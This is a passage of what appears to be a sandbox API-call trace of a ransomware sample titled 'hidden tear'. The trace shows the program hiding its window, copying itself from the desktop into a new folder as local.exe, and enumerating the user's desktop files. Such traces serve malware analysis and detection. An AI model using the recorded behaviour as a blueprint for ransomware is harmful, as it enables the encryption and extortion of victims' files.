wParam=0x0, lParam=0x19e240) returned 0x0 [0082.019] SetWindowLongW (hWnd=0x7002e, nIndex=-8, dwNewLong=393294) returned 0 [0082.021] SendMessageW (hWnd=0x7002e, Msg=0x80, wParam=0x0, lParam=0xc0131) returned 0x0 [0082.021] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0x80, wParam=0x0, lParam=0xc0131) returned 0x0 [0082.021] SendMessageW (hWnd=0x7002e, Msg=0x80, wParam=0x1, lParam=0x38008b) returned 0x0 [0082.021] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0x80, wParam=0x1, lParam=0x38008b) returned 0x0 [0082.022] GetCurrentProcess () returned 0xffffffff [0082.023] GetCurrentProcess () returned 0xffffffff [0082.098] GetSystemMenu (hWnd=0x7002e, bRevert=0) returned 0xd0095 [0082.099] GetWindowPlacement (in: hWnd=0x7002e, lpwndpl=0x19e808 | out: lpwndpl=0x19e808) returned 1 [0082.099] EnableMenuItem (hMenu=0xd0095, uIDEnableItem=0xf020, uEnable=0x0) returned 0 [0082.099] EnableMenuItem (hMenu=0xd0095, uIDEnableItem=0xf030, uEnable=0x0) returned 0 [0082.099] EnableMenuItem (hMenu=0xd0095, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0082.099] EnableMenuItem (hMenu=0xd0095, uIDEnableItem=0xf120, uEnable=0x1) returned 0 [0082.099] EnableMenuItem (hMenu=0xd0095, uIDEnableItem=0xf000, uEnable=0x0) returned 0 [0082.099] GetClientRect (in: hWnd=0x7002e, lpRect=0x19e84c | out: lpRect=0x19e84c) returned 1 [0082.099] GetClientRect (in: hWnd=0x7002e, lpRect=0x19e7ac | out: lpRect=0x19e7ac) returned 1 [0082.100] GetWindowRect (in: hWnd=0x7002e, lpRect=0x19e7ac | out: lpRect=0x19e7ac) returned 1 [0082.100] SetWindowPos (hWnd=0x7002e, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0082.100] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0x46, wParam=0x0, lParam=0x19e714) returned 0x0 [0082.107] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0082.111] GetWindowPlacement (in: hWnd=0x7002e, lpwndpl=0x19e45c | out: lpwndpl=0x19e45c) returned 1 [0082.112] GetClientRect (in: hWnd=0x7002e, lpRect=0x19e408 | out: lpRect=0x19e408) returned 1 [0082.112] GetWindowTextLengthW (hWnd=0x7002e) returned 11 [0082.112] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0082.112] GetSystemMetrics (nIndex=42) returned 0 [0082.112] GetWindowTextW (in: hWnd=0x7002e, lpString=0x19e2c8, nMaxCount=12 | out: lpString="hidden tear") returned 11 [0082.112] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0xd, wParam=0xc, lParam=0x19e2c8) returned 0xb [0082.112] GetClientRect (in: hWnd=0x7002e, lpRect=0x19e310 | out: lpRect=0x19e310) returned 1 [0082.112] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0082.112] GetCurrentObject (hdc=0x60100ce, type=0x2) returned 0x900010 [0082.112] GetCurrentObject (hdc=0x60100ce, type=0x7) returned 0x2b0506f6 [0082.112] GetCurrentObject (hdc=0x60100ce, type=0x6) returned 0x8a01c2 [0082.112] SaveDC (hdc=0x60100ce) returned 1 [0082.112] GetNearestColor (hdc=0x60100ce, color=0xf0f0f0) returned 0xf0f0f0 [0082.112] CreateSolidBrush (color=0xf0f0f0) returned 0x511006c7 [0082.112] FillRect (hDC=0x60100ce, lprc=0x19e1b0, hbr=0x511006c7) returned 1 [0082.112] DeleteObject (ho=0x511006c7) returned 1 [0082.113] RestoreDC (hdc=0x60100ce, nSavedDC=-1) returned 1 [0082.113] GetWindowPlacement (in: hWnd=0x7002e, lpwndpl=0x19e440 | out: lpwndpl=0x19e440) returned 1 [0082.113] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0x47, wParam=0x0, lParam=0x19e714) returned 0x0 [0082.113] GetClientRect (in: hWnd=0x7002e, lpRect=0x19e3f0 | out: lpRect=0x19e3f0) returned 1 [0082.113] GetWindowRect (in: hWnd=0x7002e, lpRect=0x19e3f0 | out: lpRect=0x19e3f0) returned 1 [0082.155] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0x83, wParam=0x1, lParam=0x19e22c) returned 0x0 [0082.156] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0082.158] GetWindowPlacement (in: hWnd=0x7002e, lpwndpl=0x19df9c | out: lpwndpl=0x19df9c) returned 1 [0082.158] GetClientRect (in: hWnd=0x7002e, lpRect=0x19df48 | out: lpRect=0x19df48) returned 1 [0082.158] GetWindowTextLengthW (hWnd=0x7002e) returned 11 [0082.158] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0082.158] GetSystemMetrics (nIndex=42) returned 0 [0082.158] GetWindowTextW (in: hWnd=0x7002e, lpString=0x19de08, nMaxCount=12 | out: lpString="hidden tear") returned 11 [0082.158] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0xd, wParam=0xc, lParam=0x19de08) returned 0xb [0082.158] GetClientRect (in: hWnd=0x7002e, lpRect=0x19de50 | out: lpRect=0x19de50) returned 1 [0082.158] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0082.158] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0082.159] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x2b0506f6 [0082.159] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0082.159] SaveDC (hdc=0x10105d6) returned 1 [0082.159] GetNearestColor (hdc=0x10105d6, color=0xf0f0f0) returned 0xf0f0f0 [0082.159] CreateSolidBrush (color=0xf0f0f0) returned 0x521006c7 [0082.159] FillRect (hDC=0x10105d6, lprc=0x19dcf0, hbr=0x521006c7) returned 1 [0082.159] DeleteObject (ho=0x521006c7) returned 1 [0082.159] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0082.160] SetWindowLongW (hWnd=0x7002e, nIndex=-8, dwNewLong=393294) returned 393294 [0082.161] SendMessageW (hWnd=0x6004e, Msg=0x80, wParam=0x1, lParam=0x38008b) returned 0x0 [0082.161] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x6004e, Msg=0x80, wParam=0x1, lParam=0x38008b) returned 0x0 [0082.163] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e960000 [0082.163] GetWindowLongW (hWnd=0x7002e, nIndex=-16) returned 382664704 [0082.163] GetWindowTextLengthW (hWnd=0x7002e) returned 11 [0082.163] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0082.163] GetSystemMetrics (nIndex=42) returned 0 [0082.163] GetWindowTextW (in: hWnd=0x7002e, lpString=0x19e6f8, nMaxCount=12 | out: lpString="hidden tear") returned 11 [0082.163] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0xd, wParam=0xc, lParam=0x19e6f8) returned 0xb [0082.163] GetWindowTextLengthW (hWnd=0x7002e) returned 11 [0082.163] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0082.163] GetSystemMetrics (nIndex=42) returned 0 [0082.163] GetWindowTextW (in: hWnd=0x7002e, lpString=0x19e6f8, nMaxCount=12 | out: lpString="hidden tear") returned 11 [0082.163] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0xd, wParam=0xc, lParam=0x19e6f8) returned 0xb [0082.163] GetWindowLongW (hWnd=0x7002e, nIndex=-16) returned 382664704 [0082.164] GetWindowLongW (hWnd=0x7002e, nIndex=-20) returned 590208 [0082.164] SetWindowLongW (hWnd=0x7002e, nIndex=-16, dwNewLong=315555840) returned 382664704 [0082.164] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0x7c, wParam=0xfffffff0, lParam=0x19e7ac) returned 0x0 [0082.164] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0x7d, wParam=0xfffffff0, lParam=0x19e7ac) returned 0x0 [0082.165] SetWindowLongW (hWnd=0x7002e, nIndex=-20, dwNewLong=589952) returned 590208 [0082.165] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0x7c, wParam=0xffffffec, lParam=0x19e7ac) returned 0x0 [0082.165] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0x7d, wParam=0xffffffec, lParam=0x19e7ac) returned 0x0 [0082.168] SetWindowPos (hWnd=0x7002e, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0082.169] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0x46, wParam=0x0, lParam=0x19e7c4) returned 0x0 [0082.169] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0x83, wParam=0x1, lParam=0x19e79c) returned 0x0 [0082.176] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0082.183] GetWindowPlacement (in: hWnd=0x7002e, lpwndpl=0x19e50c | out: lpwndpl=0x19e50c) returned 1 [0082.183] GetClientRect (in: hWnd=0x7002e, lpRect=0x19e4b8 | out: lpRect=0x19e4b8) returned 1 [0082.183] GetWindowTextLengthW (hWnd=0x7002e) returned 11 [0082.183] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0082.183] GetSystemMetrics (nIndex=42) returned 0 [0082.183] GetWindowTextW (in: hWnd=0x7002e, lpString=0x19e378, nMaxCount=12 | out: lpString="hidden tear") returned 11 [0082.183] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0xd, wParam=0xc, lParam=0x19e378) returned 0xb [0082.183] GetClientRect (in: hWnd=0x7002e, lpRect=0x19e3c0 | out: lpRect=0x19e3c0) returned 1 [0082.183] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0082.183] GetCurrentObject (hdc=0x60100ce, type=0x2) returned 0x900010 [0082.183] GetCurrentObject (hdc=0x60100ce, type=0x7) returned 0x2b0506f6 [0082.183] GetCurrentObject (hdc=0x60100ce, type=0x6) returned 0x8a01c2 [0082.184] SaveDC (hdc=0x60100ce) returned 1 [0082.184] GetNearestColor (hdc=0x60100ce, color=0xf0f0f0) returned 0xf0f0f0 [0082.184] CreateSolidBrush (color=0xf0f0f0) returned 0x531006c7 [0082.184] FillRect (hDC=0x60100ce, lprc=0x19e260, hbr=0x531006c7) returned 1 [0082.184] DeleteObject (ho=0x531006c7) returned 1 [0082.184] RestoreDC (hdc=0x60100ce, nSavedDC=-1) returned 1 [0082.184] GetWindowPlacement (in: hWnd=0x7002e, lpwndpl=0x19e4f0 | out: lpwndpl=0x19e4f0) returned 1 [0082.184] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0x47, wParam=0x0, lParam=0x19e7c4) returned 0x0 [0082.184] GetClientRect (in: hWnd=0x7002e, lpRect=0x19e4a0 | out: lpRect=0x19e4a0) returned 1 [0082.184] GetWindowRect (in: hWnd=0x7002e, lpRect=0x19e4a0 | out: lpRect=0x19e4a0) returned 1 [0082.185] RedrawWindow (hWnd=0x7002e, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0082.185] GetSystemMenu (hWnd=0x7002e, bRevert=0) returned 0xd0095 [0082.185] GetWindowPlacement (in: hWnd=0x7002e, lpwndpl=0x19e7f8 | out: lpwndpl=0x19e7f8) returned 1 [0082.185] EnableMenuItem (hMenu=0xd0095, uIDEnableItem=0xf020, uEnable=0x0) returned 0 [0082.185] EnableMenuItem (hMenu=0xd0095, uIDEnableItem=0xf030, uEnable=0x0) returned 0 [0082.185] EnableMenuItem (hMenu=0xd0095, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0082.185] EnableMenuItem (hMenu=0xd0095, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0082.185] EnableMenuItem (hMenu=0xd0095, uIDEnableItem=0xf000, uEnable=0x0) returned 0 [0082.186] SetWindowLongW (hWnd=0x9004a, nIndex=-8, dwNewLong=458798) returned 393264 [0082.187] CoTaskMemAlloc (cb=0x27e) returned 0xfc9fd0 [0082.205] CoTaskMemAlloc (cb=0x1b3) returned 0xfd06f8 [0082.280] CoTaskMemAlloc (cb=0x17) returned 0xfb3398 [0082.282] CoTaskMemAlloc (cb=0xf) returned 0xfb80e0 [0082.283] GetFullPathNameW (in: lpFileName="C:\\FD1HVy\\Systems", nBufferLength=0x105, lpBuffer=0x19e2b4, lpFilePart=0x0 | out: lpBuffer="C:\\FD1HVy\\Systems", lpFilePart=0x0) returned 0x11 [0082.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e764) returned 1 [0082.283] GetFileAttributesExW (in: lpFileName="C:\\FD1HVy\\Systems" (normalized: "c:\\fd1hvy\\systems"), fInfoLevelId=0x0, lpFileInformation=0x19e7e0 | out: lpFileInformation=0x19e7e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0082.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e760) returned 1 [0082.283] CoTaskMemAlloc (cb=0xf) returned 0xfb8110 [0082.286] GetFullPathNameW (in: lpFileName="C:\\FD1HVy\\Systems", nBufferLength=0x105, lpBuffer=0x19e2bc, lpFilePart=0x0 | out: lpBuffer="C:\\FD1HVy\\Systems", lpFilePart=0x0) returned 0x11 [0082.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e6f8) returned 1 [0082.286] GetFileAttributesExW (in: lpFileName="C:\\FD1HVy\\Systems" (normalized: "c:\\fd1hvy\\systems"), fInfoLevelId=0x0, lpFileInformation=0x19e774 | out: lpFileInformation=0x19e774*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0082.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e6f4) returned 1 [0082.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e6f8) returned 1 [0082.286] GetFileAttributesExW (in: lpFileName="C:\\FD1HVy\\Systems" (normalized: "c:\\fd1hvy\\systems"), fInfoLevelId=0x0, lpFileInformation=0x19e774 | out: lpFileInformation=0x19e774*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0082.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e6f4) returned 1 [0082.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e6f8) returned 1 [0082.286] GetFileAttributesExW (in: lpFileName="C:\\FD1HVy" (normalized: "c:\\fd1hvy"), fInfoLevelId=0x0, lpFileInformation=0x19e774 | out: lpFileInformation=0x19e774*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0082.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e6f4) returned 1 [0082.287] CreateDirectoryW (lpPathName="C:\\FD1HVy" (normalized: "c:\\fd1hvy"), lpSecurityAttributes=0x0) returned 1 [0082.288] CreateDirectoryW (lpPathName="C:\\FD1HVy\\Systems" (normalized: "c:\\fd1hvy\\systems"), lpSecurityAttributes=0x0) returned 1 [0082.288] CoTaskMemAlloc (cb=0xb) returned 0xfb8128 [0082.290] GetCurrentProcessId () returned 0xf4c [0082.290] CoTaskMemAlloc (cb=0xe) returned 0xfb8008 [0082.297] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4014ca8, Length=0x20000, ResultLength=0x19e7d4 | out: SystemInformation=0x4014ca8, ResultLength=0x19e7d4*=0x15238) returned 0x0 [0082.319] CoTaskMemAlloc (cb=0xb) returned 0xfb7ba0 [0082.321] CoTaskMemAlloc (cb=0x20e) returned 0xfd2ac8 [0082.321] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0xfd2ac8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0082.321] CoTaskMemFree (pv=0xfd2ac8) [0082.321] CoTaskMemAlloc (cb=0x13) returned 0xfb33b8 [0082.324] CoTaskMemAlloc (cb=0x13) returned 0xfb33d8 [0082.326] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe", nBufferLength=0x105, lpBuffer=0x19e2c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe", lpFilePart=0x0) returned 0x22 [0082.326] GetFullPathNameW (in: lpFileName="C:\\FD1HVy\\Systems\\local.exe", nBufferLength=0x105, lpBuffer=0x19e2c8, lpFilePart=0x0 | out: lpBuffer="C:\\FD1HVy\\Systems\\local.exe", lpFilePart=0x0) returned 0x1b [0082.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e77c) returned 1 [0082.326] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\hermes.exe"), fInfoLevelId=0x0, lpFileInformation=0x19e7f8 | out: lpFileInformation=0x19e7f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76147200, ftCreationTime.dwHighDateTime=0x1d51251, ftLastAccessTime.dwLowDateTime=0x76ad0880, ftLastAccessTime.dwHighDateTime=0x1d51251, ftLastWriteTime.dwLowDateTime=0x6563fc00, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x560200)) returned 1 [0082.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e778) returned 1 [0082.326] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\hermes.exe"), lpNewFileName="C:\\FD1HVy\\Systems\\local.exe" (normalized: "c:\\fd1hvy\\systems\\local.exe")) returned 1 [0082.331] CoTaskMemAlloc (cb=0xfc) returned 0xfaefb0 [0082.341] CoTaskMemAlloc (cb=0xe) returned 0xfb7bb8 [0082.342] CoTaskMemAlloc (cb=0x12) returned 0xfb3418 [0082.345] CoTaskMemAlloc (cb=0x12) returned 0xfb3438 [0082.354] CoTaskMemAlloc (cb=0x12) returned 0xfb34f8 [0082.357] CoTaskMemAlloc (cb=0x2d4) returned 0xfd2ac8 [0082.373] CoTaskMemAlloc (cb=0x1b) returned 0xfca310 [0082.375] CoTaskMemAlloc (cb=0x587) returned 0xfd2da8 [0082.572] CoTaskMemAlloc (cb=0xf) returned 0xfb7c00 [0082.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e4cc) returned 1 [0082.574] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x105, lpBuffer=0x19df80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x0) returned 0x17 [0082.574] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\*", lpFindFileData=0x19e1f4 | out: lpFindFileData=0x19e1f4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xaa899ebb, ftLastAccessTime.dwHighDateTime=0x1d51251, ftLastWriteTime.dwLowDateTime=0xaa899ebb, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xfed958 [0082.575] FindNextFileW (in: hFindFile=0xfed958, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xaa899ebb, ftLastAccessTime.dwHighDateTime=0x1d51251, ftLastWriteTime.dwLowDateTime=0xaa899ebb, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.575] FindNextFileW (in: hFindFile=0xfed958, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d6ddd30, ftCreationTime.dwHighDateTime=0x1d4c96c, ftLastAccessTime.dwLowDateTime=0xad8ac830, ftLastAccessTime.dwHighDateTime=0x1d4c6b9, ftLastWriteTime.dwLowDateTime=0xad8ac830, ftLastWriteTime.dwHighDateTime=0x1d4c6b9, nFileSizeHigh=0x0, nFileSizeLow=0x78c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="-c3CfvI1Q S3zJe.gif", cAlternateFileName="-C3CFV~1.GIF")) returned 1 [0082.575] FindNextFileW (in: hFindFile=0xfed958, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e67a90, ftCreationTime.dwHighDateTime=0x1d4d119, ftLastAccessTime.dwLowDateTime=0x396ee0d0, ftLastAccessTime.dwHighDateTime=0x1d4cb5a, ftLastWriteTime.dwLowDateTime=0x396ee0d0, ftLastWriteTime.dwHighDateTime=0x1d4cb5a, nFileSizeHigh=0x0, nFileSizeLow=0x113c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="-t3hSggSt8.csv", cAlternateFileName="-T3HSG~1.CSV")) returned 1 [0082.576] FindNextFileW (in: hFindFile=0xfed958, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x570e21f0, ftCreationTime.dwHighDateTime=0x1d4d352, ftLastAccessTime.dwLowDateTime=0x6b527fb0, ftLastAccessTime.dwHighDateTime=0x1d4c602, ftLastWriteTime.dwLowDateTime=0x6b527fb0, ftLastWriteTime.dwHighDateTime=0x1d4c602, nFileSizeHigh=0x0, nFileSizeLow=0x6b53, dwReserved0=0x0, dwReserved1=0x0, cFileName="-wiWbBcmoqutvw1S.odt", cAlternateFileName="-WIWBB~1.ODT")) returned 1 [0082.576] FindNextFileW (in: hFindFile=0xfed958, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x925fd7e0, ftCreationTime.dwHighDateTime=0x1d4cfd7, ftLastAccessTime.dwLowDateTime=0xe2b29ed0, ftLastAccessTime.dwHighDateTime=0x1d4d176, ftLastWriteTime.dwLowDateTime=0xe2b29ed0, ftLastWriteTime.dwHighDateTime=0x1d4d176, nFileSizeHigh=0x0, nFileSizeLow=0x161dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="0Nx7y56.flv", cAlternateFileName="")) returned 1 [0082.576] FindNextFileW (in: hFindFile=0xfed958, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x783af130, ftCreationTime.dwHighDateTime=0x1d4d4a8, ftLastAccessTime.dwLowDateTime=0x6c9c1860, ftLastAccessTime.dwHighDateTime=0x1d4cc31, ftLastWriteTime.dwLowDateTime=0x6c9c1860, ftLastWriteTime.dwHighDateTime=0x1d4cc31, nFileSizeHigh=0x0, nFileSizeLow=0x16858, dwReserved0=0x0, dwReserved1=0x0, cFileName="0YuVxzeY9-b4MF.avi", cAlternateFileName="0YUVXZ~1.AVI")) returned 1 [0082.576] FindNextFileW (in: hFindFile=0xfed958, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6996f9f0, ftCreationTime.dwHighDateTime=0x1d4cffb, ftLastAccessTime.dwLowDateTime=0x1d2c4af0, ftLastAccessTime.dwHighDateTime=0x1d4d3f4, ftLastWriteTime.dwLowDateTime=0x1d2c4af0, ftLastWriteTime.dwHighDateTime=0x1d4d3f4, nFileSizeHigh=0x0, nFileSizeLow=0x10144, dwReserved0=0x0, dwReserved1=0x0, cFileName="1Q2VXYoy-MwTF2q.swf", cAlternateFileName="1Q2VXY~1.SWF")) returned 1 [0082.576] FindNextFileW (in: hFindFile=0xfed958, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fc3640, ftCreationTime.dwHighDateTime=0x1d4c73d, ftLastAccessTime.dwLowDateTime=0x8d987540, ftLastAccessTime.dwHighDateTime=0x1d4c696, ftLastWriteTime.dwLowDateTime=0x8d987540, ftLastWriteTime.dwHighDateTime=0x1d4c696, nFileSizeHigh=0x0, nFileSizeLow=0x15260, dwReserved0=0x0, dwReserved1=0x0, cFileName="57NeTO DwJSxa2vi.ods", cAlternateFileName="57NETO~1.ODS")) returned 1 [0082.576] FindNextFileW (in: hFindFile=0xfed958, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18a75870, ftCreationTime.dwHighDateTime=0x1d4d48b, ftLastAccessTime.dwLowDateTime=0x72ef7240, ftLastAccessTime.dwHighDateTime=0x1d4caea, ftLastWriteTime.dwLowDateTime=0x72ef7240, ftLastWriteTime.dwHighDateTime=0x1d4caea, nFileSizeHigh=0x0, nFileSizeLow=0x3f87, dwReserved0=0x0, dwReserved1=0x0, cFileName="69R_i5Xgdo.m4a", cAlternateFileName="69R_I5~1.M4A")) returned 1 [0082.576] FindNextFileW (in: hFindFile=0xfed958, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c4ccf10, ftCreationTime.dwHighDateTime=0x1d4cbff, ftLastAccessTime.dwLowDateTime=0xa946ddb0, ftLastAccessTime.dwHighDateTime=0x1d4cc2f, ftLastWriteTime.dwLowDateTime=0xa946ddb0, ftLastWriteTime.dwHighDateTime=0x1d4cc2f, nFileSizeHigh=0x0, nFileSizeLow=0x6d10, dwReserved0=0x0, dwReserved1=0x0, cFileName="aQRnn-I.m4a", cAlternateFileName="")) returned 1 [0082.576] FindNextFileW (in: hFindFile=0xfed958, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c93a7e0, ftCreationTime.dwHighDateTime=0x1d4cb2f, ftLastAccessTime.dwLowDateTime=0x11a911a0, ftLastAccessTime.dwHighDateTime=0x1d4d2ea, ftLastWriteTime.dwLowDateTime=0x11a911a0, ftLastWriteTime.dwHighDateTime=0x1d4d2ea, nFileSizeHigh=0x0, nFileSizeLow=0x613e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CZV1g-qB qMc.wav", cAlternateFileName="CZV1G-~1.WAV")) returned 1 [0082.576] FindNextFileW (in: hFindFile=0xfed958, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0082.577] FindNextFileW (in: hFindFile=0xfed958, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a7913c0, ftCreationTime.dwHighDateTime=0x1d4d5da, ftLastAccessTime.dwLowDateTime=0x29531450, ftLastAccessTime.dwHighDateTime=0x1d4d1ea, ftLastWriteTime.dwLowDateTime=0x29531450, ftLastWriteTime.dwHighDateTime=0x1d4d1ea, nFileSizeHigh=0x0, nFileSizeLow=0x4286, 